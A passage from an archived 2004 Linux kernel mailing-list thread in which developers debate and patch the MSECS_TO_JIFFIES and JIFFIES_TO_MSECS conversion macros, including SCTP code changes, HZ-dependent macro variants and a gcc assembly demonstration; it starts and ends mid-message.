msecs_to_jiffies(sp->rtoinfo.srto_initial); + asoc->rto_max = msecs_to_jiffies(sp->rtoinfo.srto_max); + asoc->rto_min = msecs_to_jiffies(sp->rtoinfo.srto_min); asoc->overall_error_count = 0; @@ -170,7 +170,7 @@ asoc->max_init_attempts = sp->initmsg.sinit_max_attempts; asoc->max_init_timeo = - MSECS_TO_JIFFIES(sp->initmsg.sinit_max_init_timeo); + msecs_to_jiffies(sp->initmsg.sinit_max_init_timeo); /* Allocate storage for the ssnmap after the inbound and outbound * streams have been negotiated during Init. @@ -507,7 +507,7 @@ /* Initialize the peer's heartbeat interval based on the * sock configured value. */ - peer->hb_interval = MSECS_TO_JIFFIES(sp->paddrparam.spp_hbinterval); + peer->hb_interval = msecs_to_jiffies(sp->paddrparam.spp_hbinterval); /* Set the path max_retrans. */ peer->max_retrans = asoc->max_retrans; --- linux/net/sctp/endpointola.c.msecs-to-jiffies 2004-04-03 22:36:24.000000000 -0500 +++ linux/net/sctp/endpointola.c 2004-05-07 15:30:19.000000000 -0400 @@ -129,7 +129,7 @@ ep->timeouts[SCTP_EVENT_TIMEOUT_T1_INIT] = SCTP_DEFAULT_TIMEOUT_T1_INIT; ep->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN] = - MSECS_TO_JIFFIES(sp->rtoinfo.srto_initial); + msecs_to_jiffies(sp->rtoinfo.srto_initial); ep->timeouts[SCTP_EVENT_TIMEOUT_T3_RTX] = 0; ep->timeouts[SCTP_EVENT_TIMEOUT_T4_RTO] = 0; @@ -138,7 +138,7 @@ * recommended value of 5 times 'RTO.Max'. */ ep->timeouts[SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD] - = 5 * MSECS_TO_JIFFIES(sp->rtoinfo.srto_max); + = 5 * msecs_to_jiffies(sp->rtoinfo.srto_max); ep->timeouts[SCTP_EVENT_TIMEOUT_HEARTBEAT] = SCTP_DEFAULT_TIMEOUT_HEARTBEAT; --- linux/net/sctp/socket.c.msecs-to-jiffies 2004-05-07 15:28:55.000000000 -0400 +++ linux/net/sctp/socket.c 2004-05-07 15:30:19.000000000 -0400 @@ -1224,7 +1224,7 @@ } if (sinit->sinit_max_init_timeo) { asoc->max_init_timeo = - MSECS_TO_JIFFIES(sinit->sinit_max_init_timeo); + msecs_to_jiffies(sinit->sinit_max_init_timeo); } } @@ -1662,7 +1662,7 @@ if (params.spp_hbinterval) { trans->hb_allowed = 1; trans->hb_interval = - MSECS_TO_JIFFIES(params.spp_hbinterval); + msecs_to_jiffies(params.spp_hbinterval); } else trans->hb_allowed = 0; } @@ -1835,11 +1835,11 @@ if (asoc) { if (rtoinfo.srto_initial != 0) asoc->rto_initial = - MSECS_TO_JIFFIES(rtoinfo.srto_initial); + msecs_to_jiffies(rtoinfo.srto_initial); if (rtoinfo.srto_max != 0) - asoc->rto_max = MSECS_TO_JIFFIES(rtoinfo.srto_max); + asoc->rto_max = msecs_to_jiffies(rtoinfo.srto_max); if (rtoinfo.srto_min != 0) - asoc->rto_min = MSECS_TO_JIFFIES(rtoinfo.srto_min); + asoc->rto_min = msecs_to_jiffies(rtoinfo.srto_min); } else { /* If there is no association or the association-id = 0 * set the values to the endpoint. @@ -2379,14 +2379,14 @@ sp->initmsg.sinit_num_ostreams = sctp_max_outstreams; sp->initmsg.sinit_max_instreams = sctp_max_instreams; sp->initmsg.sinit_max_attempts = sctp_max_retrans_init; - sp->initmsg.sinit_max_init_timeo = JIFFIES_TO_MSECS(sctp_rto_max); + sp->initmsg.sinit_max_init_timeo = jiffies_to_msecs(sctp_rto_max); /* Initialize default RTO related parameters. These parameters can * be modified for with the SCTP_RTOINFO socket option. */ - sp->rtoinfo.srto_initial = JIFFIES_TO_MSECS(sctp_rto_initial); - sp->rtoinfo.srto_max = JIFFIES_TO_MSECS(sctp_rto_max); - sp->rtoinfo.srto_min = JIFFIES_TO_MSECS(sctp_rto_min); + sp->rtoinfo.srto_initial = jiffies_to_msecs(sctp_rto_initial); + sp->rtoinfo.srto_max = jiffies_to_msecs(sctp_rto_max); + sp->rtoinfo.srto_min = jiffies_to_msecs(sctp_rto_min); /* Initialize default association related parameters. These parameters * can be modified with the SCTP_ASSOCINFO socket option. @@ -2396,7 +2396,7 @@ sp->assocparams.sasoc_peer_rwnd = 0; sp->assocparams.sasoc_local_rwnd = 0; sp->assocparams.sasoc_cookie_life = - JIFFIES_TO_MSECS(sctp_valid_cookie_life); + jiffies_to_msecs(sctp_valid_cookie_life); /* Initialize default event subscriptions. By default, all the * options are off. @@ -2406,7 +2406,7 @@ /* Default Peer Address Parameters. These defaults can * be modified via SCTP_PEER_ADDR_PARAMS */ - sp->paddrparam.spp_hbinterval = JIFFIES_TO_MSECS(sctp_hb_interval); + sp->paddrparam.spp_hbinterval = jiffies_to_msecs(sctp_hb_interval); sp->paddrparam.spp_pathmaxrxt = sctp_max_retrans_path; /* If enabled no SCTP message fragmentation will be performed. @@ -2552,7 +2552,7 @@ status.sstat_primary.spinfo_state = transport->active; status.sstat_primary.spinfo_cwnd = transport->cwnd; status.sstat_primary.spinfo_srtt = transport->srtt; - status.sstat_primary.spinfo_rto = JIFFIES_TO_MSECS(transport->rto); + status.sstat_primary.spinfo_rto = jiffies_to_msecs(transport->rto); status.sstat_primary.spinfo_mtu = transport->pmtu; if (put_user(len, optlen)) { @@ -2607,7 +2607,7 @@ pinfo.spinfo_state = transport->active; pinfo.spinfo_cwnd = transport->cwnd; pinfo.spinfo_srtt = transport->srtt; - pinfo.spinfo_rto = JIFFIES_TO_MSECS(transport->rto); + pinfo.spinfo_rto = jiffies_to_msecs(transport->rto); pinfo.spinfo_mtu = transport->pmtu; if (put_user(len, optlen)) { @@ -2811,7 +2811,7 @@ if (!trans->hb_allowed) params.spp_hbinterval = 0; else - params.spp_hbinterval = JIFFIES_TO_MSECS(trans->hb_interval); + params.spp_hbinterval = jiffies_to_msecs(trans->hb_interval); /* spp_pathmaxrxt contains the maximum number of retransmissions * before this address shall be considered unreachable. @@ -3168,9 +3168,9 @@ /* Values corresponding to the specific association. */ if (asoc) { - rtoinfo.srto_initial = JIFFIES_TO_MSECS(asoc->rto_initial); - rtoinfo.srto_max = JIFFIES_TO_MSECS(asoc->rto_max); - rtoinfo.srto_min = JIFFIES_TO_MSECS(asoc->rto_min); + rtoinfo.srto_initial = jiffies_to_msecs(asoc->rto_initial); + rtoinfo.srto_max = jiffies_to_msecs(asoc->rto_max); + rtoinfo.srto_min = jiffies_to_msecs(asoc->rto_min); } else { /* Values corresponding to the endpoint. */ struct sctp_opt *sp = sctp_sk(sk); --- linux/net/sctp/chunk.c.msecs-to-jiffies 2004-05-07 15:28:55.000000000 -0400 +++ linux/net/sctp/chunk.c 2004-05-07 15:31:51.000000000 -0400 @@ -186,7 +186,7 @@ if (sinfo->sinfo_timetolive) { /* sinfo_timetolive is in milliseconds */ msg->expires_at = jiffies + - MSECS_TO_JIFFIES(sinfo->sinfo_timetolive); + msecs_to_jiffies(sinfo->sinfo_timetolive); msg->can_abandon = 1; SCTP_DEBUG_PRINTK("%s: msg:%p expires_at: %ld jiffies:%ld\n", __FUNCTION__, msg, msg->expires_at, jiffies); --cWoXeonUoKmBZSoM-- From mingo@elte.hu Wed May 12 13:57:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:57:33 -0700 (PDT) Received: from mx2.elte.hu (mx2.elte.hu [157.181.151.9]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKuwKO007585 for ; Wed, 12 May 2004 13:56:58 -0700 Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200]) by mx2.elte.hu (Postfix) with ESMTP id 8589FAFEA3; Wed, 12 May 2004 22:24:44 +0200 (CEST) Received: by chiara.elte.hu (Postfix, from userid 17806) id BA0A41FC2; Wed, 12 May 2004 22:26:04 +0200 (CEST) Date: Wed, 12 May 2004 22:28:07 +0200 From: Ingo Molnar To: Valdis.Kletnieks@vt.edu Cc: Davide Libenzi , Jeff Garzik , Greg KH , Andrew Morton , linux-kernel@vger.kernel.org, Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512202807.GA16849@elte.hu> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="bg08WKrSYDhXBjb5" Content-Disposition: inline In-Reply-To: <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> User-Agent: Mutt/1.4.1i X-ELTE-SpamVersion: MailScanner 4.26.8-itk2 (ELTE 1.1) SpamAssassin 2.63 ClamAV 0.65 X-ELTE-VirusStatus: clean X-ELTE-SpamCheck: no X-ELTE-SpamCheck-Details: score=-4.9, required 5.9, autolearn=not spam, BAYES_00 -4.90 X-ELTE-SpamLevel: X-ELTE-SpamScore: -4 X-archive-position: 5091 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mingo@elte.hu Precedence: bulk X-list: netdev --bg08WKrSYDhXBjb5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline * Valdis.Kletnieks@vt.edu wrote: > The problem is that even for the i386 family, there's no inherent > reason why the value of HZ is nailed to 1000 [...] The code is 100% correct, but not 100% clean, and definitely not documented. The reason for the change was to avoid unnecessary integer multiplications and divisions in sched.c. the attached patch (against BK-curr) cleans this up and makes the defines generic and arch-independent. Ingo --bg08WKrSYDhXBjb5 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="hz-cleanup-2.6.6-A0" --- linux/include/linux/time.h.orig +++ linux/include/linux/time.h @@ -177,6 +177,15 @@ struct timezone { (SH_DIV((MAX_JIFFY_OFFSET >> SEC_JIFFIE_SC) * TICK_NSEC, NSEC_PER_SEC, 1) - 1) #endif + +#if HZ == 1000 +# define JIFFIES_TO_MSEC(x) (x) +# define MSEC_TO_JIFFIES(x) (x) +#else +# define JIFFIES_TO_MSEC(x) ((x) * 1000 / HZ) +# define MSEC_TO_JIFFIES(x) ((x) * HZ / 1000) +#endif + /* * The TICK_NSEC - 1 rounds up the value to the next resolution. Note * that a remainder subtract here would not do the right thing as the --- linux/include/asm-i386/param.h.orig +++ linux/include/asm-i386/param.h @@ -5,8 +5,6 @@ # define HZ 1000 /* Internal kernel timer frequency */ # define USER_HZ 100 /* .. some user interfaces are in "ticks" */ # define CLOCKS_PER_SEC (USER_HZ) /* like times() */ -# define JIFFIES_TO_MSEC(x) (x) -# define MSEC_TO_JIFFIES(x) (x) #endif #ifndef HZ --- linux/kernel/sched.c.orig +++ linux/kernel/sched.c @@ -75,13 +75,6 @@ #define NS_TO_JIFFIES(TIME) ((TIME) / (1000000000 / HZ)) #define JIFFIES_TO_NS(TIME) ((TIME) * (1000000000 / HZ)) -#ifndef JIFFIES_TO_MSEC -# define JIFFIES_TO_MSEC(x) ((x) * 1000 / HZ) -#endif -#ifndef MSEC_TO_JIFFIES -# define MSEC_TO_JIFFIES(x) ((x) * HZ / 1000) -#endif - /* * These are the 'tuning knobs' of the scheduler: * --bg08WKrSYDhXBjb5-- From mingo@elte.hu Wed May 12 13:57:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:58:11 -0700 (PDT) Received: from mx2.elte.hu (mx2.elte.hu [157.181.151.9]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKvTKO007598 for ; Wed, 12 May 2004 13:57:30 -0700 Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200]) by mx2.elte.hu (Postfix) with ESMTP id 9FA17AFC20; Wed, 12 May 2004 22:47:05 +0200 (CEST) Received: by chiara.elte.hu (Postfix, from userid 17806) id C98751FC3; Wed, 12 May 2004 22:48:26 +0200 (CEST) Date: Wed, 12 May 2004 22:50:28 +0200 From: Ingo Molnar To: Valdis.Kletnieks@vt.edu Cc: Davide Libenzi , Jeff Garzik , Greg KH , Andrew Morton , linux-kernel@vger.kernel.org, Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512205028.GA18806@elte.hu> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="NzB8fVQJ5HfG6fxh" Content-Disposition: inline In-Reply-To: <20040512203500.GA17999@elte.hu> User-Agent: Mutt/1.4.1i X-ELTE-SpamVersion: MailScanner 4.26.8-itk2 (ELTE 1.1) SpamAssassin 2.63 ClamAV 0.65 X-ELTE-VirusStatus: clean X-ELTE-SpamCheck: no X-ELTE-SpamCheck-Details: score=-4.9, required 5.9, autolearn=not spam, BAYES_00 -4.90 X-ELTE-SpamLevel: X-ELTE-SpamScore: -4 X-archive-position: 5092 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mingo@elte.hu Precedence: bulk X-list: netdev --NzB8fVQJ5HfG6fxh Content-Type: text/plain; charset=us-ascii Content-Disposition: inline * Ingo Molnar wrote: > new patch attached - this adopts the overflow-safe variant from > sctp.h, removes it from sctp.h and moves it into a generic include > file and also does the HZ=1000 simplification. yet another patch - this time it's: complete, covers irda, accelerates HZ=100, unifies the slightly differing namespaces and compiles/boots as well. Ingo --NzB8fVQJ5HfG6fxh Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="hz-cleanup-2.6.6-A2" --- linux/include/linux/time.h.orig +++ linux/include/linux/time.h @@ -177,6 +177,24 @@ struct timezone { (SH_DIV((MAX_JIFFY_OFFSET >> SEC_JIFFIE_SC) * TICK_NSEC, NSEC_PER_SEC, 1) - 1) #endif + +/* + * Convert jiffies to milliseconds and back. + * + * Avoid unnecessary multiplications/divisions in the + * two most common HZ cases: + */ +#if HZ == 1000 +# define JIFFIES_TO_MSECS(x) (x) +# define MSECS_TO_JIFFIES(x) (x) +#elif HZ == 100 +# define JIFFIES_TO_MSECS(x) ((x) * 10) +# define MSECS_TO_JIFFIES(x) ((x) / 10) +#else +# define JIFFIES_TO_MSECS(x) ((x) * 1000 / HZ) +# define MSECS_TO_JIFFIES(x) ((x) * HZ / 1000) +#endif + /* * The TICK_NSEC - 1 rounds up the value to the next resolution. Note * that a remainder subtract here would not do the right thing as the --- linux/include/net/irda/irda.h.orig +++ linux/include/net/irda/irda.h @@ -83,8 +83,6 @@ if(!(expr)) do { \ #define MESSAGE(args...) printk(KERN_INFO args) #define ERROR(args...) printk(KERN_ERR args) -#define MSECS_TO_JIFFIES(ms) (((ms)*HZ+999)/1000) - /* * Magic numbers used by Linux-IrDA. Random numbers which must be unique to * give the best protection --- linux/include/net/sctp/sctp.h.orig +++ linux/include/net/sctp/sctp.h @@ -116,11 +116,6 @@ #define SCTP_STATIC static #endif -#define MSECS_TO_JIFFIES(msec) \ - (((msec / 1000) * HZ) + ((msec % 1000) * HZ) / 1000) -#define JIFFIES_TO_MSECS(jiff) \ - (((jiff / HZ) * 1000) + ((jiff % HZ) * 1000) / HZ) - /* * Function declarations. */ --- linux/include/asm-i386/param.h.orig +++ linux/include/asm-i386/param.h @@ -5,8 +5,6 @@ # define HZ 1000 /* Internal kernel timer frequency */ # define USER_HZ 100 /* .. some user interfaces are in "ticks" */ # define CLOCKS_PER_SEC (USER_HZ) /* like times() */ -# define JIFFIES_TO_MSEC(x) (x) -# define MSEC_TO_JIFFIES(x) (x) #endif #ifndef HZ --- linux/kernel/sched.c.orig +++ linux/kernel/sched.c @@ -75,13 +75,6 @@ #define NS_TO_JIFFIES(TIME) ((TIME) / (1000000000 / HZ)) #define JIFFIES_TO_NS(TIME) ((TIME) * (1000000000 / HZ)) -#ifndef JIFFIES_TO_MSEC -# define JIFFIES_TO_MSEC(x) ((x) * 1000 / HZ) -#endif -#ifndef MSEC_TO_JIFFIES -# define MSEC_TO_JIFFIES(x) ((x) * HZ / 1000) -#endif - /* * These are the 'tuning knobs' of the scheduler: * @@ -1880,7 +1873,7 @@ static void rebalance_tick(int this_cpu, interval *= sd->busy_factor; /* scale ms to jiffies */ - interval = MSEC_TO_JIFFIES(interval); + interval = MSECS_TO_JIFFIES(interval); if (unlikely(!interval)) interval = 1; --NzB8fVQJ5HfG6fxh-- From mingo@elte.hu Wed May 12 14:00:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:00:10 -0700 (PDT) Received: from mx1.elte.hu (mx1.elte.hu [157.181.1.137]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKxsKO008246 for ; Wed, 12 May 2004 13:59:54 -0700 Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200]) by mx1.elte.hu (Postfix) with ESMTP id D26EF276C87; Wed, 12 May 2004 21:31:43 +0200 (CEST) Received: by chiara.elte.hu (Postfix, from userid 17806) id 3271B1FC2; Wed, 12 May 2004 21:31:43 +0200 (CEST) Date: Wed, 12 May 2004 21:33:49 +0200 From: Ingo Molnar To: Jeff Garzik Cc: Greg KH , Andrew Morton , linux-kernel@vger.kernel.org, Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512193349.GA14936@elte.hu> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40A26FFA.4030701@pobox.com> User-Agent: Mutt/1.4.1i X-ELTE-SpamVersion: MailScanner 4.26.8-itk2 (ELTE 1.1) SpamAssassin 2.63 ClamAV 0.65 X-ELTE-VirusStatus: clean X-ELTE-SpamCheck: no X-ELTE-SpamCheck-Details: score=-4.9, required 5.9, autolearn=not spam, BAYES_00 -4.90 X-ELTE-SpamLevel: X-ELTE-SpamScore: -4 X-archive-position: 5093 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mingo@elte.hu Precedence: bulk X-list: netdev * Jeff Garzik wrote: > >Woah, that's new. And wrong. The code in include/asm-i386/param.h that > >says: > > # define JIFFIES_TO_MSEC(x) (x) > > # define MSEC_TO_JIFFIES(x) (x) > > > >Is not correct. Look at kernel/sched.c for verification of this :) > > > Yes, that is _massively_ broken. why is it wrong? Ingo From wli@holomorphy.com Wed May 12 14:01:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:01:22 -0700 (PDT) Received: from holomorphy.com (mail@holomorphy.com [207.189.100.168]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CL10KO008461 for ; Wed, 12 May 2004 14:01:01 -0700 Received: from wli by holomorphy.com with local (Exim 3.36 #1 (Debian)) id 1BO0ot-0005nO-00; Wed, 12 May 2004 13:59:15 -0700 Date: Wed, 12 May 2004 13:59:15 -0700 From: William Lee Irwin III To: Andrew Morton Cc: mingo@elte.hu, davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512205915.GJ1397@holomorphy.com> Mail-Followup-To: William Lee Irwin III , Andrew Morton , mingo@elte.hu, davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512132050.6eae6905.akpm@osdl.org> <20040512203829.GI1397@holomorphy.com> <20040512134718.7e55cceb.akpm@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040512134718.7e55cceb.akpm@osdl.org> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 5094 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wli@holomorphy.com Precedence: bulk X-list: netdev William Lee Irwin III wrote: >> How about this? >> #if HZ <= 1000 && !(1000 % HZ) >> #define MSEC_TO_JIFFIES(m) ((1000/HZ)*(m)) >> #define JIFFIES_TO_MSEC(j) ((j)/(1000/HZ)) >> #elif HZ > 1000 && !(HZ % 1000) >> #define MSEC_TO_JIFFIES(m) ((m)/(HZ/1000)) >> #define JIFFIES_TO_MSEC(j) ((HZ/1000)*(j)) >> #else >> #define MSEC_TO_JIFFIES(m) ((HZ*(m) + 999)/1000) >> #define JIFFIES_TO_MSEC(j) ((1000*(j) + HZ - 1)/HZ) >> #endif On Wed, May 12, 2004 at 01:47:18PM -0700, Andrew Morton wrote: > You promise it's correct and generates good code? Yes. Changelog: Optimize the cases where HZ is a divisor of 1000 or vice-versa in JIFFIES_TO_MSEC() and MSEC_TO_JIFFIES() by allowing the nonvanishing(!) integral ratios to appear as a parenthesized expressions eligible for constant folding optimizations. I'll resend the #ifdef logic against Ingo's latest, which is orthogonal. -- wli From davidel@xmailserver.org Wed May 12 14:02:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:02:14 -0700 (PDT) Received: from x35.xmailserver.org (x35.xmailserver.org [69.30.125.51]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CL20KO008761 for ; Wed, 12 May 2004 14:02:01 -0700 X-AuthUser: davidel@xmailserver.org Received: from bigblue.dev.mdolabs.com by xmailserver.org with [XMail 1.19 (Linux/Ix86) ESMTP Server] id for from ; Wed, 12 May 2004 14:02:18 -0700 Date: Wed, 12 May 2004 14:01:58 -0700 (PDT) From: Davide Libenzi X-X-Sender: davide@bigblue.dev.mdolabs.com To: Ingo Molnar cc: Davide Libenzi , Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... In-Reply-To: <20040512200305.GA16078@elte.hu> Message-ID: References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5095 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davidel@xmailserver.org Precedence: bulk X-list: netdev On Wed, 12 May 2004, Ingo Molnar wrote: > > * Davide Libenzi wrote: > > > > why is it wrong? > > > > For HZ == 1000 it's fine, even if it'd better to explicitly make it HZ > > dependent and let the compiler to discard them. > > the compiler cannot discard the multiplication and the division from the > following: > > x * 1000 / 1000 > > due to overflows. $ cat foo.c int foo(int i) { return i * 1000 / 1000; } $ gcc -S -c foo.c $ cat foo.s .file "foo.c" .text .globl foo .type foo, @function foo: pushl %ebp movl %esp, %ebp movl 8(%ebp), %eax leave ret .size foo, .-foo .section .note.GNU-stack,"",@progbits .ident "GCC: (GNU) 3.3.2 20031022 (Red Hat Linux 3.3.2-1)" $ gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.3.2/specs Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable-__cxa_atexit --host=i386-redhat-linux Thread model: posix gcc version 3.3.2 20031022 (Red Hat Linux 3.3.2-1) - Davide From Valdis.Kletnieks@vt.edu Wed May 12 14:03:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:03:15 -0700 (PDT) Received: from turing-police.cc.vt.edu (IDENT:root@turing-police.cc.vt.edu [128.173.14.107]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CL3CKO009329 for ; Wed, 12 May 2004 14:03:13 -0700 Received: from turing-police.cc.vt.edu (IDENT:valdis@localhost [127.0.0.1]) by turing-police.cc.vt.edu (8.13.0.Beta0/8.13.0.Beta0) with ESMTP id i4CL3AUp014523; Wed, 12 May 2004 17:03:10 -0400 Message-Id: <200405122103.i4CL3AUp014523@turing-police.cc.vt.edu> X-Mailer: exmh version 2.6.3 04/04/2003 with nmh-1.0.4+dev To: Ingo Molnar Cc: linux-kernel@vger.kernel.org, Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... In-Reply-To: Your message of "Wed, 12 May 2004 22:50:28 +0200." <20040512205028.GA18806@elte.hu> From: Valdis.Kletnieks@vt.edu References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> <20040512205028.GA18806@elte.hu> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-725252706P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Wed, 12 May 2004 17:03:10 -0400 X-archive-position: 5096 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Valdis.Kletnieks@vt.edu Precedence: bulk X-list: netdev --==_Exmh_-725252706P Content-Type: text/plain; charset=us-ascii On Wed, 12 May 2004 22:50:28 +0200, Ingo Molnar said: > Content-Disposition: attachment; filename="hz-cleanup-2.6.6-A2" > > --- linux/include/linux/time.h.orig > +++ linux/include/linux/time.h > @@ -177,6 +177,24 @@ struct timezone { > (SH_DIV((MAX_JIFFY_OFFSET >> SEC_JIFFIE_SC) * TICK_NSEC, NSEC_PER_SEC, 1) - 1) > > #endif > + > +/* > + * Convert jiffies to milliseconds and back. > + * > + * Avoid unnecessary multiplications/divisions in the > + * two most common HZ cases: > + */ > +#if HZ == 1000 > +# define JIFFIES_TO_MSECS(x) (x) > +# define MSECS_TO_JIFFIES(x) (x) > +#elif HZ == 100 > +# define JIFFIES_TO_MSECS(x) ((x) * 10) > +# define MSECS_TO_JIFFIES(x) ((x) / 10) > +#else > +# define JIFFIES_TO_MSECS(x) ((x) * 1000 / HZ) > +# define MSECS_TO_JIFFIES(x) ((x) * HZ / 1000) > +#endif > + Looks good to me.. :) --==_Exmh_-725252706P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Exmh version 2.5 07/13/2001 iD8DBQFAopEOcC3lWbTT17ARArOzAKDM3xA1BVYCfW4BJhF7WIRcbbVVlACfciAe ZNSdcKBxy1tXpJvpoUky7w0= =8oxt -----END PGP SIGNATURE----- --==_Exmh_-725252706P-- From sri@us.ibm.com Wed May 12 14:03:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 14:03:50 -0700 (PDT) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CL3hKO009446 for ; Wed, 12 May 2004 14:03:46 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4CL3R5I271504; Wed, 12 May 2004 17:03:27 -0400 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4CL3xd3103026; Wed, 12 May 2004 17:04:00 -0400 Date: Wed, 12 May 2004 14:03:24 -0700 (PDT) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: Andrew Morton cc: Jeff Garzik , mingo@elte.hu, davidel@xmailserver.org, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... In-Reply-To: <20040512133520.44fbfd39.akpm@osdl.org> Message-ID: References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512132050.6eae6905.akpm@osdl.org> <40A28815.2020009@pobox.com> <20040512133520.44fbfd39.akpm@osdl.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5097 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev I have submitted a patch just to do this some time back on netdev mailing list. You can find it at http://marc.theaimsgroup.com/?l=linux-netdev&m=108024598716537&w=2 static inline unsigned long msecs_to_jiffies(unsigned long msecs) { #if 1000 % HZ == 0 return msecs / (1000 / HZ); #elif HZ % 1000 == 0 return msecs * (HZ / 1000); #else return (msecs / 1000) * HZ + (msecs % 1000) * HZ / 1000; #endif } static inline unsigned long jiffies_to_msecs(unsigned long jiffs) { #if 1000 % HZ == 0 return jiffs * (1000 / HZ); #elif HZ % 1000 == 0 return jiffs / (HZ / 1000); #else return (jiffs / HZ) * 1000 + (jiffs % HZ) * 1000 / HZ; #endif } I was told that some users of these routines need an explicit roundup of delays. For ex: when 